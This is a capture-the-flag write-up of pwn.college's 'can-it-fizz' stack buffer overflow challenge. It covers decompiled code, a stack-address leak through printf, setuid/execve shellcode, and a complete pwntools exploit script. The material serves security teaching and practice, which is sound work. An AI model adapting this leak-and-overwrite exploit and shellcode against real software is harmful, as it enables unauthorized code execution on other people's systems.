Pwn.college: Can it fizz?
My writeup for the first of the fizzbuzz challenges from pwn.college
Challenge Overview
- Target:
can-it-fiz(64-bit x86 ELF) - Vulnerability: Stack-based Buffer Overflow
- Goal: redirect program execution to a shellcode that spawns a shell.
Decompilation (IDA)
Challenge function, a little scrambled, but we can see the main logic of the fizzbuzz challenge
__int64 challenge()
{
__int64 result; // rax
char v1[48]; // [rsp+20h] [rbp-60h] BYREF
__int64 v2; // [rsp+50h] [rbp-30h] BYREF
int i[2]; // [rsp+58h] [rbp-28h]
char *src; // [rsp+60h] [rbp-20h]
char *dest; // [rsp+68h] [rbp-18h]
unsigned __int64 v6; // [rsp+78h] [rbp-8h]
v6 = __readfsqword(0x28u);
*(_QWORD *)v1 = 16;
memset(&v1[8], 0, 40);
v2 = 0x7A7A754200000000LL;
*(_QWORD *)i = 10;
dest = &v1[4];
src = &v1[20];
puts("Welcome to Fizz Buzz!");
for ( for ( i[1] = 0; i[1] < *(int *)v1; ++i[1] ))
{
result = *(unsigned int *)v1;
if ( i[1] % 15 )
{
if ( i[1] % 3 )
{
if ( i[1] % 5 )
src = (char *)¬hing; // empty output
else
src = (char *)&v2 + 4; // stack output "buzz"
}
else
{
src = fizz; // .data output "fizz"
}
}
else
{
src = (char *)&fuzzbuzz; // .data output "fizzbuzz"
}
printf("%d: ", i[1]);
read(0, &v1[20], 232u);
printf("You entered: %s\n", &v1[20]);
v1[20] = 0;
strcpy(dest, src);
printf("Correct answer: %s\n", dest);
}
return result;
}
Analysis
This challenge involves a simple fizzbuzz game that prints different outputs based on the turn number.
Let’s first run checksec on the binary to see what protections are enabled:
As we can see, there is no canary enabled, which suggests a buffer overflow. We can also see that NX is disabled, which means we can execute shellcode on the stack.
Our first main suspect is the read function, which reads 232 bytes into a buffer of size 28 (48 - 20).
That means we can overwrite the variables under the buffer. We can see that key variables are stored under it:
isrcdestsaved rbpreturn address
That explains why when we spam the input with ‘A’s, our program crashes in strcpy. Its because we overwrite the src variable with our input, and then strcpy tries to copy from that address.

The Goal
Our main goal is to redirect execution to the stack, but there are 2 problems.
- To redirect execution, we need to overwrite the return address, and then let the program return. but right now the program crashes before we can reach that point.
- Because ASLR is enabled, we cannot know the address of the stack to jump to. We need to leak the stack address first, and then use that to jump to our shellcode.
Both problems can be solved by the same solution. If we can leak a stack address, we can use it as the src variable, and also use it to jump into our shellcode.
Leaking a Stack Address
One useful function we didn’t talk about yet is printf. printf prints from the memory address we give it, until we reach a null byte. By controlling the buffer that is passed, we can use printf to leak stuff from the stack.
read(0, &v1[20], 232u);
printf("You entered: %s\n", &v1[20]);
Because trying to leak anything above src will crash our program, the only real option is to leak it. The problem is that src is not always a stack address.
if ( i[1] % 15 )
{
if ( i[1] % 3 )
{
if ( i[1] % 5 )
src = (char *)¬hing; // empty output
else
src = (char *)&v2 + 4; // stack output "buzz"
}
else
{
src = fizz; // .data output "fizz"
}
}
else
{
src = (char *)&fuzzbuzz; // .data output "fizzbuzz"
}
As we can see, src is only a stack address when it points to “buzz”, meaning i is divisible by 5 but not by 3. We are in luck because we can also control the value of i.
We can get to round 5 of the game, then use printf to leak the address of src, which is at [rsp+96].
Our buffer starts at [rsp+52], so there is a 44 byte offset.
for i in range(5):
p.send(b'\n')
p.recvuntil(b'Correct answer: ')
p.send(b'A'*44)
p.recvuntil(b'You entered: ')
src_line = p.recvline()
src = src_line.strip()[44 : 45+8]
pwntools leak in action
Controlling the loop index

This works, the only problem is that our program exists after leaking. This occurs because we overwrite loop index (stored at [rsp+88] which is 8 bytes before src) causing it to overflow. We can just set the index to a variable we want. After the next round we want to jump to our shellcode, so we can set the index to 15 to return right after.
But 15 is \x0e\x00\x00\x00! the null byte will ruin our leak. What we’ll do is set the index to 0xFFFFFF, which will be incremented to 0. In the round after that, we can safely set the index to 15.
The Shellcode
Now we can finally write our shellcode. We don’t want to ruin the SRC address, so we need to fit our shellcode in the 44 byte gap in between. We’ll write a small assembly payload that sets uid and execves /bin/sh. We can use pwntools to assemble it for us.
; setuid(0)
xor rdi, rdi
push 105
pop rax
syscall
; execve("/bin/sh", NULL, NULL)
xor rsi, rsi
push rsi
pop rdx
mov rax, 0x68732f6e69622f ; /bin/sh
push rax
mov rdi, rsp
push 59
pop rax
syscall
We can use pwntools to assemble it and we get that our shellcode is 32 bytes long, which is perfect.
Calculating the new return address
We now have the stack leak to SRC, which points to (char *)&v2 + 4;
v2 is stored at [rsp+80], so the leak points to [rsp+84]. The start of the buffer is at [rsp+52], so the offset is 32 bytes. Now we can decrement and jump to the start of the buffer, where our shellcode will be stored.
ret_addr = src_leak - 31
Assembling the final payload
We’ll start with our shellcode:
payload = asm # 32 bytes
Now we need to fill in the rest until we reach the src variable:
payload += b'A' * (44 - len(payload)) # 12 bytes of padding
To stop strcpy from crashing, because we don’t need it we can set both src and dest to the same SRC address we leaked. This will make strcpy copy from the same address to the same address, which is safe.
payload += p64(src_leak) # src address, 8 bytes
payload += p64(src_leak) # dest address, 8 bytes
We are now at [rbp]. The return address is 8 bytes above that:
payload += b'A' * 8 # reach the ret addr
payload += p64(ret_addr) # ret addr, jump to our shellcode
Our final payload is:
payload = asmm + b'A'*(44-len(asmm)) + p64(src_unpacked) + p64(src_unpacked) + b'A'*8 + p64(return_addr)
p.recvuntil(b'Correct answer: ')
p.send(payload)

Stay tuned for the other fizzbuzz challenges :)
Full Pwntools Exploit
from pwn import *
context.terminal = ["ghostty", "-e", "bash", "-c"]
context.update(arch='amd64', os='linux')
#context.log_level = 'debug'
p = gdb.debug('./can-it-fizz')
print("### Leak SRC ###")
for i in range(5):
p.send(b'\n')
p.recvuntil(b'Correct answer: ')
p.send(b'A'*40 + b'\xFF\xFF\xFF\xFF')
p.recvuntil(b'You entered: ')
src_line = p.recvline()
src = src_line.strip()[44 : 45+8]
src_unpacked = u64(src.ljust(8, b'\x00'))
print("SRC LEAKED:" + hex(src_unpacked))
p.recvuntil(b'Correct answer: ')
p.send(b'A'*40 + b'\x0e\x00\x00\x00')
assembly ="""
/* setuid(0) */
xor rdi, rdi
push 105 /* sys_setuid syscall number */
pop rax /* rax = 105 */
syscall /* trigger setuid(0) */
/* execve('/bin/sh', 0, 0) */
xor rsi, rsi /* rsi = 0 (argv) */
push rsi /* Push null-terminator for string & envp */
pop rdx /* rdx = 0 (envp) */
mov rax, 0x68732f6e69622f /* '/bin/sh' in hex (reversed) */
push rax /* Push string onto the stack */
mov rdi, rsp /* rdi points to '/bin/sh' */
push 59 /* sys_execve syscall number */
pop rax /* rax = 59 */
syscall /* trigger execve */
"""
asmm = asm(assembly)
print("LENGTH IS :" + str(len(asmm)))
return_addr = src_unpacked - 31
payload = asmm + b'A'*(44-len(asmm)) + p64(src_unpacked) + p64(src_unpacked) + b'A'*8 + p64(return_addr)
p.recvuntil(b'Correct answer: ')
p.send(payload)
# 32 bytes + 12 offset + src addr + src addr + 8 padding + ret addr
p.interactive()